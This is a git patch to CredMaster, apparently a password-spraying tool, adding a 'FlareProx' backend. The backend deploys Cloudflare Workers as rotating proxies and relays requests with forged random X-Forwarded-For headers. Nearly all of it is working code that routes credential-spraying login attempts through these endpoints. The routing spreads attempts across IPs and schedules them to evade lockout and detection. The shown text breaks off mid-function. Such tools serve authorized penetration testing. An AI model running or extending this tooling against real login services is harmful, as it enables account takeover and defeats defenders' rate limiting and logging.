From 9bed6d47ee8680f331d02a1c71122345a99b5bba Mon Sep 17 00:00:00 2001 From: Ayo Ajiboye Date: Wed, 29 Oct 2025 17:00:59 -0500 Subject: [PATCH 1/2] Add Cloudflare support to CredMaster via FlareProx integration - Updated config.json to include Cloudflare credentials. - Enhanced CredMaster to handle proxy provider selection (AWS or Cloudflare). - Implemented FlareProx class for managing Cloudflare Worker deployments. - Added error handling for Cloudflare API interactions. - Updated requirements.txt to include 'requests' library. - Modified utils to support Cloudflare-specific headers. --- config.json | 9 +- credmaster.py | 327 +++++++++++++----- requirements.txt | 3 +- utils/flareprox.py | 814 +++++++++++++++++++++++++++++++++++++++++++++ utils/utils.py | 6 +- 5 files changed, 1070 insertions(+), 89 deletions(-) create mode 100644 utils/flareprox.py diff --git a/config.json b/config.json index 05f1cf1..1af1b9e 100644 --- a/config.json +++ b/config.json @@ -36,5 +36,12 @@ "access_key" : null, "secret_access_key" : null, "session_token" : null, - "profile_name" : null + "profile_name" : null, + "proxy_provider" : null, + + "cloudflare": { + "api_token": null, + "account_id": null, + "zone_id": null + } } diff --git a/credmaster.py b/credmaster.py index a0884d2..00ed3c7 100755 --- a/credmaster.py +++ b/credmaster.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # from zipfile import * import threading, queue, argparse, datetime, json, importlib, random, os, time, sys +import requests from utils.fire import FireProx +from utils.flareprox import FlareProx, FlareProxError, CloudflareManager import utils.utils as utils import utils.notify as notify @@ -109,6 +111,15 @@ def parse_all_args(self, args): self.weekdaywarrior = args.weekday_warrior or config_dict.get("weekday_warrior") self.color = args.color or config_dict.get("color") + # Proxy provider selection (aws or cloudflare) + self.proxy_provider = (args.proxy_provider or config_dict.get("proxy_provider") or "aws").lower() + + # Cloudflare/FlareProx credentials (from CLI or config.json {"cloudflare":{...}}) + cf_cfg = config_dict.get("cloudflare", {}) if isinstance(config_dict.get("cloudflare"), dict) else {} + self.cf_api_token = getattr(args, "cf_api_token", None) or cf_cfg.get("api_token") + self.cf_account_id = getattr(args, "cf_account_id", None) or cf_cfg.get("account_id") + self.cf_zone_id = getattr(args, "cf_zone_id", None) or cf_cfg.get("zone_id") + self.notify_obj = { "slack_webhook" : args.slack_webhook or config_dict.get("slack_webhook"), "pushover_token" : args.pushover_token or config_dict.get("pushover_token"), @@ -155,27 +166,50 @@ def do_input_error_handling(self): self.log_entry(f"Useragent file {self.useragentfile} cannot be found") sys.exit() - # AWS Key Handling - if self.session_token is not None and (self.secret_access_key is None or self.access_key is None): - self.log_entry("Session token requires access_key and secret_access_key") - sys.exit() - if self.profile_name is not None and (self.access_key is not None or self.secret_access_key is not None): - self.log_entry("Cannot use a passed profile and keys") - sys.exit() - if self.access_key is not None and self.secret_access_key is None: - self.log_entry("access_key requires secret_access_key") - sys.exit() - if self.access_key is None and self.secret_access_key is not None: - self.log_entry("secret_access_key requires access_key") - sys.exit() - if self.access_key is None and self.secret_access_key is None and self.session_token is None and self.profile_name is None: - self.log_entry("No FireProx access arguments settings configured, add access keys/session token or fill out config file") + # Provider-specific configuration handling + if self.proxy_provider == "aws": + # AWS Key Handling + if self.session_token is not None and (self.secret_access_key is None or self.access_key is None): + self.log_entry("Session token requires access_key and secret_access_key") + sys.exit() + if self.profile_name is not None and (self.access_key is not None or self.secret_access_key is not None): + self.log_entry("Cannot use a passed profile and keys") + sys.exit() + if self.access_key is not None and self.secret_access_key is None: + self.log_entry("access_key requires secret_access_key") + sys.exit() + if self.access_key is None and self.secret_access_key is not None: + self.log_entry("secret_access_key requires access_key") + sys.exit() + if self.access_key is None and self.secret_access_key is None and self.session_token is None and self.profile_name is None: + self.log_entry("No FireProx access arguments settings configured, add access keys/session token or fill out config file") + sys.exit() + elif self.proxy_provider == "cloudflare": + # FlareProx configuration handling + try: + self.flareprox = FlareProx() + except Exception as ex: + self.log_entry(f"Failed to initialize FlareProx: {ex}") + sys.exit() + # If not configured via its own config, try project config/CLI + if not self.flareprox.is_configured and self.cf_api_token and self.cf_account_id: + try: + self.flareprox.cloudflare = CloudflareManager(api_token=self.cf_api_token, account_id=self.cf_account_id, zone_id=self.cf_zone_id) + except Exception as ex: + self.log_entry(f"Failed to set Cloudflare credentials: {ex}") + sys.exit() + if not self.flareprox.is_configured: + self.log_entry("No Cloudflare credentials configured. Add {\"cloudflare\": {\"api_token\", \"account_id\"}} in config.json or use --cf_api_token/--cf_account_id") + sys.exit() + else: + self.log_entry(f"Invalid proxy provider: {self.proxy_provider}. Use 'aws' or 'cloudflare'.") sys.exit() - # Region handling - if self.region is not None and self.region not in self.regions: - self.log_entry(f"Input region {self.region} not a supported AWS region, {self.regions}") - sys.exit() + # Region handling (AWS only) + if self.proxy_provider == "aws": + if self.region is not None and self.region not in self.regions: + self.log_entry(f"Input region {self.region} not a supported AWS region, {self.regions}") + sys.exit() # Jitter handling if self.jitter_min is not None and self.jitter is None: @@ -230,7 +264,7 @@ def Execute(self, args): ## pluginargs['thread_count'] = self.thread_count - self.start_time = datetime.datetime.utcnow() + self.start_time = datetime.datetime.now(datetime.timezone.utc) self.log_entry(f"Execution started at: {self.start_time}") # Check with plugin to make sure it has the data that it needs @@ -279,7 +313,11 @@ def Execute(self, args): # do test connection / fingerprint useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" - connect_success, testconnect_output, pluginargs = validator.testconnect(pluginargs, self.args, self.apis[0], useragent) + # Add target_base_url for Cloudflare FlareProx + testconnect_pluginargs = pluginargs.copy() + if self.proxy_provider == "cloudflare" and "target_url" in self.apis[0]: + testconnect_pluginargs["target_base_url"] = self.apis[0]["target_url"] + connect_success, testconnect_output, pluginargs = validator.testconnect(testconnect_pluginargs, self.args, self.apis[0], useragent) self.log_entry(testconnect_output) if not connect_success: @@ -322,7 +360,7 @@ def Execute(self, args): self.weekdaywarrior = int(self.weekdaywarrior) sleep_time = self.ww_calc_next_spray_delay(self.weekdaywarrior) - next_time = datetime.datetime.utcnow() + datetime.timedelta(hours=self.weekdaywarrior) + datetime.timedelta(minutes=sleep_time) + next_time = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=self.weekdaywarrior) + datetime.timedelta(minutes=sleep_time) self.log_entry(f"Weekday Warrior: sleeping {sleep_time} minutes until {next_time.strftime('%H:%M')} on {spray_days[next_time.weekday()]} in UTC {self.weekdaywarrior}") time.sleep(sleep_time*60) @@ -342,19 +380,19 @@ def Execute(self, args): if self.delay is None or len(passwords) == 1 or password == passwords[len(passwords)-1]: if self.userpassfile != None: - self.log_entry(f"Completed spray with user-pass file {self.userpassfile} at {datetime.datetime.utcnow()}") + self.log_entry(f"Completed spray with user-pass file {self.userpassfile} at {datetime.datetime.now(datetime.timezone.utc)}") elif self.userenum: - self.log_entry(f"Completed userenum at {datetime.datetime.utcnow()}") + self.log_entry(f"Completed userenum at {datetime.datetime.now(datetime.timezone.utc)}") else: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}") + self.log_entry(f"Completed spray with password {password} at {datetime.datetime.now(datetime.timezone.utc)}") notify.notify_update(f"Info: Spray complete.", self.notify_obj) continue elif count != self.passwordsperdelay: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}, moving on to next password...") + self.log_entry(f"Completed spray with password {password} at {datetime.datetime.now(datetime.timezone.utc)}, moving on to next password...") continue else: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}, sleeping for {self.delay} minutes before next password spray") + self.log_entry(f"Completed spray with password {password} at {datetime.datetime.now(datetime.timezone.utc)}, sleeping for {self.delay} minutes before next password spray") self.log_entry(f"Valid credentials discovered: {len(self.results)}") for success in self.results: self.log_entry(f"Valid: {success['username']}:{success['password']}") @@ -376,7 +414,7 @@ def Execute(self, args): self.log_entry("Second KeyboardInterrupt detected, unable to clean up APIs :( try the --clean option") # Capture duration - self.end_time = datetime.datetime.utcnow() + self.end_time = datetime.datetime.now(datetime.timezone.utc) self.time_lapse = (self.end_time-self.start_time).total_seconds() # Print stats @@ -385,23 +423,53 @@ def Execute(self, args): def load_apis(self, url, region=None): - if self.thread_count > len(self.regions): - self.log_entry("Thread count over maximum, reducing to 15") - self.thread_count = len(self.regions) - - self.log_entry(f"Creating {self.thread_count} API Gateways for {url}") - self.apis = [] - # slow but multithreading this causes errors in boto3 for some reason :( - for x in range(0,self.thread_count): - reg = self.regions[x] - if region is not None: - reg = region - self.apis.append(self.create_api(reg, url.strip())) - self.log_entry(f"Created API - Region: {reg} ID: ({self.apis[x]['api_gateway_id']}) - {self.apis[x]['proxy_url']} => {url}") + if self.proxy_provider == "aws": + if self.thread_count > len(self.regions): + self.log_entry("Thread count over maximum, reducing to 15") + self.thread_count = len(self.regions) + + self.log_entry(f"Creating {self.thread_count} API Gateways for {url}") + + # slow but multithreading this causes errors in boto3 for some reason :( + for x in range(0,self.thread_count): + reg = self.regions[x] + if region is not None: + reg = region + api = self.create_api(reg, url.strip()) + self.apis.append(api) + self.log_entry(f"Created API - Region: {reg} ID: ({api['api_gateway_id']}) - {api['proxy_url']} => {url}") + elif self.proxy_provider == "cloudflare": + # For FlareProx, we don't have regional limits; keep thread_count as requested + self.log_entry(f"Creating {self.thread_count} FlareProx endpoints for {url}") + try: + results = self.flareprox.create_proxies(self.thread_count) + except FlareProxError as ex: + self.log_entry(f"Failed to create FlareProx endpoints: {ex}") + sys.exit() + except Exception as ex: + self.log_entry(f"Unexpected error creating FlareProx endpoints: {ex}") + sys.exit() + for created in results.get("created", []): + # For Cloudflare, use the worker base URL directly + # The base target URL will be passed via X-Target-Base-URL header + worker_base = created.get("url", "").rstrip('/') + target = url.strip() + proxy_url = worker_base # Just use the base worker URL + self.apis.append({ + "api_gateway_id" : created.get("id") or created.get("name"), + "name": created.get("name"), + "proxy_url" : proxy_url, + "target_url": target, # Store base target URL separately + "region" : "cloudflare" + }) + self.log_entry(f"Created Endpoint - Name: {created.get('name')} - {proxy_url} => {url}") + + + # FireProx helpers (AWS) def create_api(self, region, url): args, help_str = self.get_fireprox_args("create", region, url=url) @@ -443,68 +511,140 @@ def display_stats(self, start=True): def list_apis(self): - for region in self.regions: + if self.proxy_provider == "aws": + for region in self.regions: - args, help_str = self.get_fireprox_args("list", region) - fp = FireProx(args, help_str) - active_apis = fp.list_api() - self.log_entry(f"Region: {region} - total APIs: {len(active_apis)}") + args, help_str = self.get_fireprox_args("list", region) + fp = FireProx(args, help_str) + active_apis = fp.list_api() + self.log_entry(f"Region: {region} - total APIs: {len(active_apis)}") - if len(active_apis) != 0: - for api in active_apis: - self.log_entry(f"API Info -- ID: {api['id']}, Name: {api['name']}, Created Date: {api['createdDate']}") + if len(active_apis) != 0: + for api in active_apis: + self.log_entry(f"API Info -- ID: {api['id']}, Name: {api['name']}, Created Date: {api['createdDate']}") + else: + try: + endpoints = self.flareprox.list_proxies() + except Exception as ex: + self.log_entry(f"Failed to list FlareProx endpoints: {ex}") + return + + self.log_entry(f"Total FlareProx endpoints: {len(endpoints)}") + for ep in endpoints: + self.log_entry(f"Endpoint -- Name: {ep.get('name')}, URL: {ep.get('url')}, Created: {ep.get('created_at')}") def destroy_single_api(self, api): - self.log_entry("Destroying single API, locating region...") - for region in self.regions: + if self.proxy_provider == "aws": + self.log_entry("Destroying single API, locating region...") + for region in self.regions: + + args, help_str = self.get_fireprox_args("list", region) + fp = FireProx(args, help_str) + active_apis = fp.list_api() - args, help_str = self.get_fireprox_args("list", region) - fp = FireProx(args, help_str) - active_apis = fp.list_api() + for api1 in active_apis: + if api1["id"] == api: + self.log_entry(f"API found in region {region}, destroying...") + fp.delete_api(api) + sys.exit() - for api1 in active_apis: - if api1["id"] == api: - self.log_entry(f"API found in region {region}, destroying...") - fp.delete_api(api) + self.log_entry("API not found") + else: + self.log_entry("Destroying single FlareProx endpoint...") + try: + manager = self.flareprox.cloudflare + if not manager: + self.log_entry("No Cloudflare credentials configured. Provide config.json cloudflare settings or CLI flags") sys.exit() + endpoints = manager.list_deployments() + except Exception as ex: + self.log_entry(f"Failed to retrieve endpoints: {ex}") + return - self.log_entry("API not found") + target = None + for ep in endpoints: + if ep.get("name") == api: + target = ep + break + + if target is None: + self.log_entry("API not found") + return + + try: + url = f"{manager.base_url}/accounts/{manager.account_id}/workers/scripts/{target['name']}" + resp = requests.delete(url, headers=manager.headers, timeout=30) + if resp.status_code in [200, 404]: + self.log_entry(f"Endpoint destroyed: {target['name']}") + else: + self.log_entry(f"Failed to destroy endpoint {target['name']}: {resp.status_code}") + except Exception as ex: + self.log_entry(f"Error destroying endpoint: {ex}") def destroy_apis(self): - for api in self.apis: + if self.proxy_provider == "aws": + for api in self.apis: - args, help_str = self.get_fireprox_args("delete", api["region"], api_id = api["api_gateway_id"]) - fp = FireProx(args, help_str) - self.log_entry(f"Destroying API ({args['api_id']}) in region {api['region']}") - fp.delete_api(args["api_id"]) + args, help_str = self.get_fireprox_args("delete", api["region"], api_id = api["api_gateway_id"]) + fp = FireProx(args, help_str) + self.log_entry(f"Destroying API ({args['api_id']}) in region {api['region']}") + fp.delete_api(args["api_id"]) + else: + # Delete only the endpoints created in this run if possible; otherwise fall back silently + try: + manager = self.flareprox.cloudflare + if not manager: + self.log_entry("No Cloudflare credentials configured. Provide config.json cloudflare settings or CLI flags") + return + for api in getattr(self, 'apis', []): + name = api.get("name") + if not name: + continue + url = f"{manager.base_url}/accounts/{manager.account_id}/workers/scripts/{name}" + self.log_entry(f"Destroying endpoint ({name})") + try: + requests.delete(url, headers=manager.headers, timeout=30) + except Exception: + pass + except Exception: + # As a safety, do not blow up on cleanup + pass def clear_all_apis(self): - self.log_entry("Clearing APIs for all regions") - clear_count = 0 + if self.proxy_provider == "aws": + self.log_entry("Clearing APIs for all regions") + clear_count = 0 - for region in self.regions: + for region in self.regions: - args, help_str = self.get_fireprox_args("list", region) - fp = FireProx(args, help_str) - active_apis = fp.list_api() - count = len(active_apis) - err = "skipping" - if count != 0: - err = "removing" - self.log_entry(f"Region: {region}, found {count} APIs configured, {err}") + args, help_str = self.get_fireprox_args("list", region) + fp = FireProx(args, help_str) + active_apis = fp.list_api() + count = len(active_apis) + err = "skipping" + if count != 0: + err = "removing" + self.log_entry(f"Region: {region}, found {count} APIs configured, {err}") - for api in active_apis: - if "fireprox" in api["name"]: - fp.delete_api(api["id"]) - clear_count += 1 + for api in active_apis: + if "fireprox" in api["name"]: + fp.delete_api(api["id"]) + clear_count += 1 - self.log_entry(f"APIs removed: {clear_count}") + self.log_entry(f"APIs removed: {clear_count}") + else: + self.log_entry("Clearing all FlareProx endpoints") + try: + self.flareprox.cleanup_all() + self.log_entry("Cleanup complete") + except Exception as ex: + self.log_entry(f"Cleanup failed: {ex}") def spray_thread(self, api_key, api_dict, pluginargs): @@ -535,7 +675,12 @@ def spray_thread(self, api_key, api_dict, pluginargs): self.jitter_min = 0 time.sleep(random.randint(self.jitter_min,self.jitter)) - response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) + # Add target_base_url to pluginargs for Cloudflare FlareProx + pluginargs_with_target = pluginargs.copy() + if self.proxy_provider == "cloudflare" and "target_url" in api_dict: + pluginargs_with_target["target_base_url"] = api_dict["target_url"] + + response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs_with_target) # if "debug" in response.keys(): # print(response["debug"]) @@ -629,7 +774,7 @@ def ww_calc_next_spray_delay(self, offset): spray_times = [8,12,14] # launch sprays at 7AM, 11AM and 3PM - now = datetime.datetime.utcnow() + datetime.timedelta(hours=offset) + now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=offset) hour_cur = int(now.strftime("%H")) minutes_cur = int(now.strftime("%M")) day_cur = int(now.weekday()) @@ -675,7 +820,7 @@ def log_entry(self, entry): self.lock.acquire() - ts = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] + ts = datetime.datetime.now(datetime.timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] print(f"[{ts}] {entry}") if self.outfile is not None: @@ -760,9 +905,19 @@ def log_success(self, username, password): fp_args.add_argument('--session_token', type=str, default=None, help='AWS Session Token') fpu_args = parser.add_argument_group(title='Fireprox Utility Options') - fpu_args.add_argument('--clean', default=False, action="store_true", help='Clean up all fireprox AWS APIs from every region, warning irreversible') - fpu_args.add_argument('--api_destroy', type=str, default=None, help='Destroy single API instance, by API ID') - fpu_args.add_argument('--api_list', default=False, action="store_true", help='List all fireprox APIs') + fpu_args.add_argument('--clean', default=False, action="store_true", help='Clean up all fireprox AWS APIs from every region or FlareProx endpoints, warning irreversible') + fpu_args.add_argument('--api_destroy', type=str, default=None, help='Destroy single API instance or FlareProx endpoint, by API ID or FlareProx endpoint name') + fpu_args.add_argument('--api_list', default=False, action="store_true", help='List all fireprox APIs or FlareProx endpoints') + + # FlareProx Inputs (Cloudflare credentials) + cf_args = parser.add_argument_group(title='FlareProx Inputs') + cf_args.add_argument('--cf_api_token', type=str, default=None, help='Cloudflare API Token for Workers') + cf_args.add_argument('--cf_account_id', type=str, default=None, help='Cloudflare Account ID') + cf_args.add_argument('--cf_zone_id', type=str, default=None, help='Cloudflare Zone ID (optional)') + + # Proxy Provider selection + provider_args = parser.add_argument_group(title='Proxy Provider') + provider_args.add_argument('--proxy_provider', choices=['aws','cloudflare'], default=None, help='Proxy backend to use (aws|cloudflare). Defaults to aws if not set') args,pluginargs = parser.parse_known_args() diff --git a/requirements.txt b/requirements.txt index bab23f8..896e7cf 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,4 +5,5 @@ bs4 lxml datetime requests_ntlm -discordwebhook \ No newline at end of file +discordwebhook +requests \ No newline at end of file diff --git a/utils/flareprox.py b/utils/flareprox.py new file mode 100644 index 0000000..6d96a7e --- /dev/null +++ b/utils/flareprox.py @@ -0,0 +1,814 @@ +#!/usr/bin/env python3 +""" +FlareProx - Simple URL Redirection via Cloudflare Workers +Redirect all traffic through Cloudflare Workers for any provided URL +""" + +import argparse +import getpass +import json +import os +import random +import requests +import string +import time +from typing import Dict, List, Optional + + +class FlareProxError(Exception): + """Custom exception for FlareProx-specific errors.""" + pass + + +class CloudflareManager: + """Manages Cloudflare Worker deployments for FlareProx.""" + + def __init__(self, api_token: str, account_id: str, zone_id: Optional[str] = None): + self.api_token = api_token + self.account_id = account_id + self.zone_id = zone_id + self.base_url = "https://api.cloudflare.com/client/v4" + self.headers = { + "Authorization": f"Bearer {api_token}", + "Content-Type": "application/json" + } + self._account_subdomain = None + + @property + def worker_subdomain(self) -> str: + """Get the worker subdomain for workers.dev URLs.""" + if self._account_subdomain: + return self._account_subdomain + + # Try to get configured subdomain + url = f"{self.base_url}/accounts/{self.account_id}/workers/subdomain" + try: + response = requests.get(url, headers=self.headers, timeout=30) + if response.status_code == 200: + data = response.json() + subdomain = data.get("result", {}).get("subdomain") + if subdomain: + self._account_subdomain = subdomain + return subdomain + except requests.RequestException: + pass + + # Fallback: use account ID as subdomain + self._account_subdomain = self.account_id.lower() + return self._account_subdomain + + def _generate_worker_name(self) -> str: + """Generate a unique worker name.""" + timestamp = str(int(time.time())) + random_suffix = ''.join(random.choices(string.ascii_lowercase, k=6)) + return f"flareprox-{timestamp}-{random_suffix}" + + def _get_worker_script(self) -> str: + """Return the optimized Cloudflare Worker script.""" + return r'''/** + * FlareProx - Cloudflare Worker URL Redirection Script + */ +addEventListener('fetch', event => { + event.respondWith(handleRequest(event.request)) +}) + +async function handleRequest(request) { + try { + const url = new URL(request.url) + const targetUrl = getTargetUrl(url, request.headers) + + if (!targetUrl) { + return createErrorResponse('No target URL specified', { + usage: { + query_param: '?url=https://example.com', + header: 'X-Target-URL: https://example.com', + path: '/https://example.com' + } + }, 400) + } + + let targetURL + try { + targetURL = new URL(targetUrl) + } catch (e) { + return createErrorResponse('Invalid target URL', { provided: targetUrl }, 400) + } + + // Build target URL with filtered query parameters + const targetParams = new URLSearchParams() + for (const [key, value] of url.searchParams) { + if (!['url', '_cb', '_t'].includes(key)) { + targetParams.append(key, value) + } + } + if (targetParams.toString()) { + targetURL.search = targetParams.toString() + } + + // Create proxied request + const proxyRequest = createProxyRequest(request, targetURL) + const response = await fetch(proxyRequest) + + // Process and return response + return createProxyResponse(response, request.method) + + } catch (error) { + return createErrorResponse('Proxy request failed', { + message: error.message, + timestamp: new Date().toISOString() + }, 500) + } +} + +function getTargetUrl(url, headers) { + // Priority: query param > X-Target-Base-URL header > X-Target-URL header > path + let targetUrl = url.searchParams.get('url') + + if (!targetUrl) { + // Check for X-Target-Base-URL (Cloudflare FlareProx with path appending) + targetUrl = headers.get('X-Target-Base-URL') + if (targetUrl) { + if (url.pathname !== '/') { + // Append the request path to the base target URL + const baseUrl = targetUrl.replace(/\/$/, '') // Remove trailing slash + const requestPath = url.pathname + targetUrl = baseUrl + requestPath + } + // If pathname is '/', targetUrl is already the base URL, return it + return targetUrl + } + } + + if (!targetUrl) { + targetUrl = headers.get('X-Target-URL') + } + + if (!targetUrl && url.pathname !== '/') { + const pathUrl = url.pathname.slice(1) + if (pathUrl.startsWith('http')) { + // The path contains a full URL, possibly with appended path segments + // Format: /https://target.com/appended/path + // JavaScript URL constructor will correctly parse the full thing + targetUrl = pathUrl + } + } + + return targetUrl +} + +function createProxyRequest(request, targetURL) { + const proxyHeaders = new Headers() + const allowedHeaders = [ + 'accept', 'accept-language', 'accept-encoding', 'authorization', + 'cache-control', 'content-type', 'origin', 'referer', 'user-agent' + ] + + // Copy allowed headers + for (const [key, value] of request.headers) { + if (allowedHeaders.includes(key.toLowerCase())) { + proxyHeaders.set(key, value) + } + } + + proxyHeaders.set('Host', targetURL.hostname) + + // Set X-Forwarded-For header + const customXForwardedFor = request.headers.get('X-My-X-Forwarded-For') + if (customXForwardedFor) { + proxyHeaders.set('X-Forwarded-For', customXForwardedFor) + } else { + proxyHeaders.set('X-Forwarded-For', generateRandomIP()) + } + + return new Request(targetURL.toString(), { + method: request.method, + headers: proxyHeaders, + body: ['GET', 'HEAD'].includes(request.method) ? null : request.body + }) +} + +function createProxyResponse(response, requestMethod) { + const responseHeaders = new Headers() + + // Copy response headers (excluding problematic ones) + for (const [key, value] of response.headers) { + if (!['content-encoding', 'content-length', 'transfer-encoding'].includes(key.toLowerCase())) { + responseHeaders.set(key, value) + } + } + + // Add CORS headers + responseHeaders.set('Access-Control-Allow-Origin', '*') + responseHeaders.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD') + responseHeaders.set('Access-Control-Allow-Headers', '*') + + if (requestMethod === 'OPTIONS') { + return new Response(null, { status: 204, headers: responseHeaders }) + } + + return new Response(response.body, { + status: response.status, + statusText: response.statusText, + headers: responseHeaders + }) +} + +function createErrorResponse(error, details, status) { + return new Response(JSON.stringify({ error, ...details }), { + status, + headers: { 'Content-Type': 'application/json' } + }) +} + +function generateRandomIP() { + return [1, 2, 3, 4].map(() => Math.floor(Math.random() * 255) + 1).join('.') +}''' + + def create_deployment(self, name: Optional[str] = None) -> Dict: + """Deploy a new Cloudflare Worker.""" + if not name: + name = self._generate_worker_name() + + script_content = self._get_worker_script() + url = f"{self.base_url}/accounts/{self.account_id}/workers/scripts/{name}" + + files = { + 'metadata': (None, json.dumps({ + "body_part": "script", + "main_module": "worker.js" + })), + 'script': ('worker.js', script_content, 'application/javascript') + } + + headers = {"Authorization": f"Bearer {self.api_token}"} + + try: + response = requests.put(url, headers=headers, files=files, timeout=60) + response.raise_for_status() + except requests.RequestException as e: + raise FlareProxError(f"Failed to create worker: {e}") + + worker_data = response.json() + + # Enable subdomain + subdomain_url = f"{self.base_url}/accounts/{self.account_id}/workers/scripts/{name}/subdomain" + try: + requests.post(subdomain_url, headers=self.headers, json={"enabled": True}, timeout=30) + except requests.RequestException: + pass # Subdomain enabling is not critical + + worker_url = f"https://{name}.{self.worker_subdomain}.workers.dev" + + return { + "name": name, + "url": worker_url, + "created_at": time.strftime('%Y-%m-%d %H:%M:%S'), + "id": worker_data.get("result", {}).get("id", name) + } + + def list_deployments(self) -> List[Dict]: + """List all FlareProx deployments.""" + url = f"{self.base_url}/accounts/{self.account_id}/workers/scripts" + + try: + response = requests.get(url, headers=self.headers, timeout=30) + response.raise_for_status() + except requests.RequestException as e: + raise FlareProxError(f"Failed to list workers: {e}") + + data = response.json() + workers = [] + + for script in data.get("result", []): + name = script.get("id", "") + if name.startswith("flareprox-"): + workers.append({ + "name": name, + "url": f"https://{name}.{self.worker_subdomain}.workers.dev", + "created_at": script.get("created_on", "unknown") + }) + + return workers + + def test_deployment(self, deployment_url: str, target_url: str, method: str = "GET") -> Dict: + """Test a deployment endpoint.""" + test_url = f"{deployment_url}?url={target_url}" + + try: + response = requests.request(method, test_url, timeout=30) + return { + "success": True, + "status_code": response.status_code, + "response_length": len(response.content), + "headers": dict(response.headers) + } + except requests.RequestException as e: + return { + "success": False, + "error": str(e) + } + + def cleanup_all(self) -> None: + """Delete all FlareProx workers.""" + workers = self.list_deployments() + + for worker in workers: + url = f"{self.base_url}/accounts/{self.account_id}/workers/scripts/{worker['name']}" + try: + response = requests.delete(url, headers=self.headers, timeout=30) + if response.status_code in [200, 404]: + print(f"Deleted worker: {worker['name']}") + else: + print(f"Could not delete worker: {worker['name']}") + except requests.RequestException: + print(f"Error deleting worker: {worker['name']}") + + +class FlareProx: + """Main FlareProx manager class.""" + + def __init__(self, config_file: Optional[str] = None): + self.config = self._load_config(config_file) + self.cloudflare = self._setup_cloudflare() + self.endpoints_file = "flareprox_endpoints.json" + self._ensure_config_file_exists() + + def _load_config(self, config_file: Optional[str] = None) -> Dict: + """Load configuration from file.""" + config = {"cloudflare": {}} + + # Try specified config file + if config_file and os.path.exists(config_file): + config = self._load_config_file(config_file, config) + + # Try default config files + default_configs = [ + "flareprox.json", + "cloudproxy.json", # Legacy support + os.path.expanduser("~/.flareprox.json") + ] + + for default_config in default_configs: + if os.path.exists(default_config): + config = self._load_config_file(default_config, config) + break + + return config + + def _load_config_file(self, config_path: str, config: Dict) -> Dict: + """Load configuration from a JSON file.""" + try: + with open(config_path, 'r') as f: + file_config = json.load(f) + + if "cloudflare" in file_config and not config["cloudflare"]: + config["cloudflare"].update(file_config["cloudflare"]) + except (json.JSONDecodeError, IOError) as e: + print(f"Warning: Could not load config file {config_path}: {e}") + + return config + + def _setup_cloudflare(self) -> Optional[CloudflareManager]: + """Setup Cloudflare manager if credentials are available.""" + cf_config = self.config.get("cloudflare", {}) + api_token = cf_config.get("api_token") + account_id = cf_config.get("account_id") + + if api_token and account_id: + return CloudflareManager( + api_token=api_token, + account_id=account_id, + zone_id=cf_config.get("zone_id") + ) + return None + + def _ensure_config_file_exists(self) -> None: + """Create a default config file if none exists.""" + config_files = ["flareprox.json", os.path.expanduser("~/.flareprox.json")] + + # Check if any config file exists + config_exists = any(os.path.exists(f) for f in config_files) + + if not config_exists: + # Don't create a default config automatically + # Let the user run 'python3 flareprox.py config' to set up + pass + + @property + def is_configured(self) -> bool: + """Check if FlareProx is properly configured.""" + return self.cloudflare is not None + + def _save_endpoints(self, endpoints: List[Dict]) -> None: + """Save endpoints to local file.""" + try: + with open(self.endpoints_file, 'w') as f: + json.dump(endpoints, f, indent=2) + except IOError as e: + print(f"Warning: Could not save endpoints: {e}") + + def _load_endpoints(self) -> List[Dict]: + """Load endpoints from local file.""" + if os.path.exists(self.endpoints_file): + try: + with open(self.endpoints_file, 'r') as f: + return json.load(f) + except (json.JSONDecodeError, IOError): + pass + return [] + + def sync_endpoints(self) -> List[Dict]: + """Sync local endpoints with remote deployments.""" + if not self.cloudflare: + return [] + + try: + endpoints = self.cloudflare.list_deployments() + self._save_endpoints(endpoints) + return endpoints + except FlareProxError as e: + print(f"Warning: Could not sync endpoints: {e}") + return self._load_endpoints() + + def create_proxies(self, count: int = 1) -> Dict: + """Create proxy endpoints.""" + if not self.cloudflare: + raise FlareProxError("FlareProx not configured") + + print(f"\nCreating {count} FlareProx endpoint{'s' if count != 1 else ''}...") + + results = {"created": [], "failed": 0} + + for i in range(count): + try: + endpoint = self.cloudflare.create_deployment() + results["created"].append(endpoint) + print(f" [{i+1}/{count}] {endpoint['name']} -> {endpoint['url']}") + except FlareProxError as e: + print(f" Failed to create endpoint {i+1}: {e}") + results["failed"] += 1 + + # Update local cache + self.sync_endpoints() + + total_created = len(results["created"]) + print(f"\nCreated: {total_created}, Failed: {results['failed']}") + + return results + + def list_proxies(self) -> List[Dict]: + """List all proxy endpoints.""" + endpoints = self.sync_endpoints() + + if not endpoints: + print("No FlareProx endpoints found") + print("Create some with: python3 flareprox.py create") + return [] + + print(f"\nFlareProx Endpoints ({len(endpoints)} total):") + print("-" * 80) + print(f"{'Name':<35} {'URL':<40} {'Status':<8}") + print("-" * 80) + + for endpoint in endpoints: + name = endpoint.get("name", "unknown") + url = endpoint.get("url", "unknown") + print(f"{name:<35} {url:<40} {'Active':<8}") + + return endpoints + + + def test_proxies(self, target_url: str = "https://ifconfig.me/ip", method: str = "GET") -> Dict: + """Test proxy endpoints and show IP addresses.""" + endpoints = self._load_endpoints() + + if not endpoints: + print("No proxy endpoints available. Create some first.") + return {"success": False, "error": "No endpoints available"} + + results = {} + successful = 0 + unique_ips = set() + + print(f"Testing {len(endpoints)} FlareProx endpoint(s) with {target_url}") + + for endpoint in endpoints: + name = endpoint.get("name", "unknown") + print(f"\nTesting endpoint: {name}") + + # Try multiple attempts with different delay + max_retries = 2 + success = False + result = None + + for attempt in range(max_retries): + try: + # Add small delay between retries + if attempt > 0: + time.sleep(1) + print(f" Retry {attempt}...") + + test_url = f"{endpoint['url']}?url={target_url}" + response = requests.request(method, 